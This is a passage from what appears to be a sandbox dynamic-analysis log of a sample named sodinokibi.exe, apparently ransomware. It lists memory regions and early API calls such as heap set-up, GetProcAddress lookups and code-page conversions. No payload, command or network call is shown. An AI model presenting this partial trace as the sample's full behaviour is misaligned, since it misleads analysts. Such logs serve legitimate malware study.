0x2600000 end_va = 0x2611fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 988 start_va = 0x2600000 end_va = 0x2613fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 989 start_va = 0x2b00000 end_va = 0x2b0dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002b00000" filename = "" Region: id = 990 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 991 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 992 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 993 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 994 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 995 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 996 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 997 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 998 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 999 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1000 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1001 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1002 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1003 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1004 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1005 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1006 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1007 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1008 start_va = 0x2600000 end_va = 0x260dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002600000" filename = "" Region: id = 1009 start_va = 0x44a0000 end_va = 0x4520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1010 start_va = 0x44a0000 end_va = 0x4520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1011 start_va = 0x44a0000 end_va = 0x4520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1012 start_va = 0x44a0000 end_va = 0x4520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1013 start_va = 0x44a0000 end_va = 0x459ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1014 start_va = 0x45a0000 end_va = 0x479ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000045a0000" filename = "" Region: id = 1015 start_va = 0x47a0000 end_va = 0x48a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047a0000" filename = "" Region: id = 1016 start_va = 0x48b0000 end_va = 0x49b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048b0000" filename = "" Region: id = 1017 start_va = 0x49c0000 end_va = 0x4ac0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000049c0000" filename = "" Region: id = 1018 start_va = 0x4ad0000 end_va = 0x4ba6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ad0000" filename = "" Region: id = 1019 start_va = 0x4bb0000 end_va = 0x4c7efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bb0000" filename = "" Region: id = 1020 start_va = 0x4c80000 end_va = 0x4d11fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c80000" filename = "" Region: id = 1021 start_va = 0x4d20000 end_va = 0x4dddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d20000" filename = "" Region: id = 1022 start_va = 0x4de0000 end_va = 0x4e9efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004de0000" filename = "" Region: id = 1023 start_va = 0x4ea0000 end_va = 0x4f29fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 1024 start_va = 0x4f30000 end_va = 0x4fedfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 1025 start_va = 0x4ff0000 end_va = 0x5087fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ff0000" filename = "" Region: id = 1026 start_va = 0x5090000 end_va = 0x5190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005090000" filename = "" Region: id = 1027 start_va = 0x51a0000 end_va = 0x52a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000051a0000" filename = "" Region: id = 1028 start_va = 0x52b0000 end_va = 0x56affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000052b0000" filename = "" Region: id = 1029 start_va = 0x3780000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 1030 start_va = 0x44a0000 end_va = 0x4dcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1031 start_va = 0x3e20000 end_va = 0x4311fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 1032 start_va = 0x3e20000 end_va = 0x4311fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "866s90pv.bmp" filename = "\\Users\\KEECFM~1\\AppData\\Local\\Temp\\866s90pv.bmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\866s90pv.bmp") Region: id = 1033 start_va = 0x71980000 end_va = 0x71985fff monitored = 0 entry_point = 0x71981140 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\SysWOW64\\IconCodecService.dll" (normalized: "c:\\windows\\syswow64\\iconcodecservice.dll") Region: id = 1034 start_va = 0x74bf0000 end_va = 0x74ceafff monitored = 0 entry_point = 0x74c017e1 region_type = mapped_file name = "windowscodecs.dll" filename = "\\Windows\\SysWOW64\\WindowsCodecs.dll" (normalized: "c:\\windows\\syswow64\\windowscodecs.dll") Region: id = 1035 start_va = 0x3780000 end_va = 0x37fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 1036 start_va = 0x3950000 end_va = 0x398ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003950000" filename = "" Region: id = 1037 start_va = 0x2600000 end_va = 0x2600fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 1038 start_va = 0x2610000 end_va = 0x2610fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 1039 start_va = 0x4dd0000 end_va = 0x52c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Region: id = 1040 start_va = 0x3e20000 end_va = 0x4311fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 1041 start_va = 0x4dd0000 end_va = 0x52c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004dd0000" filename = "" Thread: id = 1 os_tid = 0xecc [0044.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xea8b8d10, dwHighDateTime=0x1d77025)) [0044.211] GetCurrentProcessId () returned 0xec8 [0044.211] GetCurrentThreadId () returned 0xecc [0044.211] GetTickCount () returned 0xe46f2b [0044.211] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=1510418268575) returned 1 [0044.246] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\sodinokibi.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x411c47)) [0044.246] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e90000 [0044.248] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.248] GetProcAddress (hModule=0x75b20000, lpProcName="FlsAlloc") returned 0x75b34f2b [0044.248] GetProcAddress (hModule=0x75b20000, lpProcName="FlsGetValue") returned 0x75b31252 [0044.248] GetProcAddress (hModule=0x75b20000, lpProcName="FlsSetValue") returned 0x75b34208 [0044.248] GetProcAddress (hModule=0x75b20000, lpProcName="FlsFree") returned 0x75b3359f [0044.249] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.249] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.249] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.249] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.249] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.249] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.249] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.250] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.250] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.250] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.250] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.250] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.250] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.250] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.251] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.251] GetProcAddress (hModule=0x75b20000, lpProcName="DecodePointer") returned 0x77599d35 [0044.251] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x214) returned 0x1e907d0 [0044.251] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.251] GetProcAddress (hModule=0x75b20000, lpProcName="DecodePointer") returned 0x77599d35 [0044.252] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75b20000 [0044.252] GetProcAddress (hModule=0x75b20000, lpProcName="EncodePointer") returned 0x775a0fcb [0044.252] GetProcAddress (hModule=0x75b20000, lpProcName="DecodePointer") returned 0x77599d35 [0044.252] GetCurrentThreadId () returned 0xecc [0044.252] GetStartupInfoA (in: lpStartupInfo=0x18fea4 | out: lpStartupInfo=0x18fea4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\sodinokibi.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0044.252] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x800) returned 0x1e909f0 [0044.252] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0044.252] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0044.252] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0044.252] SetHandleCount (uNumber=0x20) returned 0x20 [0044.253] GetCommandLineW () returned="\"C:\\Users\\kEecfMwgj\\Desktop\\sodinokibi.exe\" " [0044.253] GetEnvironmentStringsW () returned 0x6b1f98* [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x0, Size=0xb0e) returned 0x1e911f8 [0044.253] FreeEnvironmentStringsW (penv=0x6b1f98) returned 1 [0044.253] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4d2a30, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\sodinokibi.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\sodinokibi.exe")) returned 0x29 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x0, Size=0x5c) returned 0x1e91d10 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x98) returned 0x1e91d78 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x3e) returned 0x1e91e18 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x56) returned 0x1e91e60 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x6e) returned 0x1e91ec0 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x78) returned 0x1e91f38 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x62) returned 0x1e91fb8 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x30) returned 0x1e92028 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x48) returned 0x1e92060 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x28) returned 0x1e920b0 [0044.253] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1a) returned 0x1e920e0 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x34) returned 0x1e92108 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x5c) returned 0x1e92148 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x32) returned 0x1e921b0 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x2e) returned 0x1e921f0 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1c) returned 0x1e92228 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x12a) returned 0x1e92250 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x7c) returned 0x1e92388 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x36) returned 0x1e92410 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x3a) returned 0x1e92450 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x90) returned 0x1e92498 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x24) returned 0x1e92530 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x30) returned 0x1e92560 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x36) returned 0x1e92598 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x48) returned 0x1e925d8 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x52) returned 0x1e92628 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x3c) returned 0x1e92688 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0xd6) returned 0x1e926d0 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x2e) returned 0x1e927b0 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x1e) returned 0x1e927e8 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x2c) returned 0x1e92810 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x54) returned 0x1e92848 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x52) returned 0x1e928a8 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x2c) returned 0x1e92908 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x26) returned 0x1e92940 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x3e) returned 0x1e92970 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x24) returned 0x1e929b8 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x30) returned 0x1e929e8 [0044.254] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x8c) returned 0x1e92a20 [0044.254] HeapFree (in: hHeap=0x1e90000, dwFlags=0x0, lpMem=0x1e911f8 | out: hHeap=0x1e90000) returned 1 [0044.254] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x75b20000 [0044.255] GetProcAddress (hModule=0x75b20000, lpProcName="IsProcessorFeaturePresent") returned 0x75b35235 [0044.255] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0044.256] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x8, Size=0x80) returned 0x1e92ab8 [0044.256] GetLastError () returned 0x0 [0044.256] SetLastError (dwErrCode=0x0) [0044.256] GetLastError () returned 0x0 [0044.256] SetLastError (dwErrCode=0x0) [0044.256] GetLastError () returned 0x0 [0044.256] SetLastError (dwErrCode=0x0) [0044.257] GetACP () returned 0x4e4 [0044.257] RtlAllocateHeap (HeapHandle=0x1e90000, Flags=0x0, Size=0x220) returned 0x1e92b40 [0044.257] GetLastError () returned 0x0 [0044.257] SetLastError (dwErrCode=0x0) [0044.257] IsValidCodePage (CodePage=0x4e4) returned 1 [0044.257] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0044.257] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0044.257] GetLastError () returned 0x0 [0044.257] SetLastError (dwErrCode=0x0) [0044.257] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0044.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0044.257] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0044.257] GetLastError () returned 0x0 [0044.257] SetLastError (dwErrCode=0x0) [0044.257] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0044.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞫儕ꡱ@Ā") returned 256 [0044.257] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞫儕ꡱ@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0044.257] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鞫儕ꡱ@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0044.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ²¬Q@\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0044.257] GetLastError () returned 0x0 [0044.257] SetLastError (dwErrCode=0x0) [0044.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0044.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" 